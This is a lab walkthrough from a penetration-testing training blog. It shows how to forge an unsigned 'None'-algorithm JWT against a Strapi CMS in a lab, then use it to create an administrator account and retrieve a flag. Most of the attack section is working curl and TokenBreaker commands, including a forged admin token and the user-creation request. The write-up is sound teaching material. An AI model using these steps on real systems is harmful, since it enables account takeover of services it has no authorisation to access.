Hacking JWT Tokens: The None Algorithm II

Shivam Bathla
Pentester Academy Blog
5 min readJul 3, 2020

--

Hello all, I am back with another common issue that might be leveraged to hack JWT tokens! Many times, the developers create the applications but don’t update the dependencies/libraries either because the update process might break the existing application or they are not aware of the consequences that could happen due to this. Nevertheless, its a serious issue and can lead to the compromise of the system as we will see in this post.

Prerequisites:

Some basic knowledge of JWT Tokens is a prerequisite for this lab. You can learn more on JWT from the following links:

  1. Introduction to JSON Web Tokens
  2. JWT RFC

Lab Scenario

We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.

Lab: The None Algorithm II

This lab environment consists of a target machine hosting Strapi CMS on port 1337.

The REST API backed by the CMS makes use of JWT-based authorization. However, the library code handling the JWT signature algorithm was not updated and was buggy!

Objective: Leverage the issue to get admin access on the CMS and retrieve the flag stored on it!

Solution:

Step 1: Check the IP address of the machine.

Command: ifconfig

Retrieving the IP address of the host machine

The IP address of the machine is “192.60.14.2”

Therefore, the target REST API is running on 192.60.14.3, at port 1337.

Step 2: Checking the presence of the REST API.

Command: curl 192.60.14.3:1337

Fingerprinting the CMS

The response reflects that Strapi CMS is running on the target machine.

Step 3: Getting the JWT Token for user elliot.

Command: curl -H “Content-Type: application/json” -X POST -d ‘{“identifier”: “elliot”,“password”: “elliotalderson”}’ http://192.60.14.3:1337/auth/local/ | jq

Issuing a token for user “elliot”

The response contains the JWT Token for the user.

JWT Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODUwODA0fQ.UBRdPHGi5Fk6uqk1jNVQeC1a6RyxT3VABhmk2nSnuKY

Step 4: Decoding the header and payload parts of the JWT token obtained in the previous step.

Using https://jwt.io to decode the header and payload parts of the token:

Decoding the above obtained token using https://jwt.io

Step 5: Creating a forged token.

Since the secret key used for signing the tokens is not known, let’s create a JWT token specifying the “None” algorithm.

Using TokenBreaker tool to create a forged token. It is provided in the tools directory on Desktop.

Commands:

cd /root/Desktop/tools/TokenBreaker/

ls

Check the files present in the directory of TokenBreaker tool

Note: TheNone.py script creates tokens signed using the “None” Algorithm.

Checking the usage information on TheNone.py script:

Command: python3 TheNone.py -h

Check the usage of the tool

TheNone.py script accepts a JWT Token that must be signed using the “None” Algorithm.

Creating a forged token:

Command: python3 TheNone.py -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODUwODA0fQ.UBRdPHGi5Fk6uqk1jNVQeC1a6RyxT3VABhmk2nSnuKY

Using TokenBreaker tool to create a forged token

Don’t change the header part of the token. It is already modified by TokenBreaker tool and the algo header parameter is set to “None”.

While entering the payload, change the id parameter to 1, while keeping the other parameters (iat in this case) as it is.

Set the “id” in the payload to 1

Note: In Strapi, the id is assigned as follows:

  1. Administrator user has id = 1
  2. Authenticated user has id = 2
  3. Public user has id = 3

Note: Since we are using the “None” algorithm, no signing key would be used. Therefore, the signature part of the forged token is empty.

Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJpZCI6MSwiaWF0IjoxNTc0ODUwODA0fQ.

Using https://jwt.io to decode the forged token:

Decoding the above obtained forged token using https://jwt.io

The “Decoded” section shows that the token has been forged correctly.

Step 6: Creating a new user with administrator role.

Use the following curl command to create a new user with administrator role (role = 1).

Command: curl -X POST -H “Content-Type: application/json” -H “Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJpZCI6MSwiaWF0IjoxNTc0ODUwODA0fQ.” http://192.60.14.3:1337/users -d ‘{ “username”: “test”, “email”: “test@test.com”, “password”: “password”, “role”:“1” }’ | jq

Note: The JWT token used in the Authorization header is the one created in the previous step, using the “none” algorithm.

Creating a new user with admin role using the forged token

The request for the creation of the new user succeeded. This means that the API supports the JWT tokens signed using the “None” algorithm.

Step 7: Login to the Strapi Admin Panel using the credentials of the newly created user.

Open the following URL in firefox:

Strapi Admin Panel URL: http://192.60.14.3:1337/admin

Login to the CMS admin panel

Step 8: Retrieving the secret flag.

Retrieving the secret flag

Open the Secretflags content type on the left panel.

Retrieving the secret flag (contd.)

Notice there is only one entry. That entry contains the flag.

Click on that entry and retrieve the flag.

Awesome, we got the flag!!

Flag: 3d43c94eaa0c83f68f8aba6b3225636c7ec4312b9e0f73

Lesson Learnt!! Make sure to keep the libraries/dependencies up-to-date. Otherwise, the issue as we have seen above can happen. And the consequences are not good at all!! It can lead to account takeover, data loss, and more importantly, damage to the reputation of the party that got compromised.

Well, that’s what I had for you guys today. If you enjoyed this post then make sure to check out my other posts in the Hacking JWT Tokens series.

Stay Safe and Happy Hacking!

--

--